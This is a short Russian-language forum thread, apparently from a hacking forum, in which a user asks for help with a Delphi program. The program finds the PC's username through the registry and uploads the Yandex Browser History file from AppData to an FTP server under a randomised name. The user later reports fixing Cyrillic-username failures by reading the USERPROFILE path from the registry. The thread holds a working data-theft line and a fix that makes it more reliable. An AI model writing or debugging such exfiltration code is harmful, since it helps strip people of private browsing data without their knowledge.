is not valid component name

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by NX_hacker, 23 Jun 2017.

  1. NX_hacker

    NX_hacker New Member

    Joined:
    12 Jun 2017
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Есть программа, на delphi, которая получает доступ к AppData(имя пользователя ПК узнаю через реестр) и передает данные по FTP, с помощью функции idFTP

    idFTP1.Put('C:\Users\'+Reg.ReadString('USERNAME')+'\AppData\Local\Yandex\YandexBrowser\User Data\Default\History','History_Yandex('+IntToStr(RandomRange(1,1000))+')');

    Проблема в том, что если имя пользователя ПК русское, то программа выдает ошибку:
    "Василий" is not valid component name
    Вопрос: что сделать что-бы принималось и русские имена тоже, может кодировку сменить ?

     
  2. NX_hacker

    NX_hacker New Member

    Joined:
    12 Jun 2017
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Тема закрыта.
    Проблему решил так: использовал не имя пользователя, а путь к сис.папке USERPROFILE
    P.S. HKEY_CURRENT_USER\Volatile Environment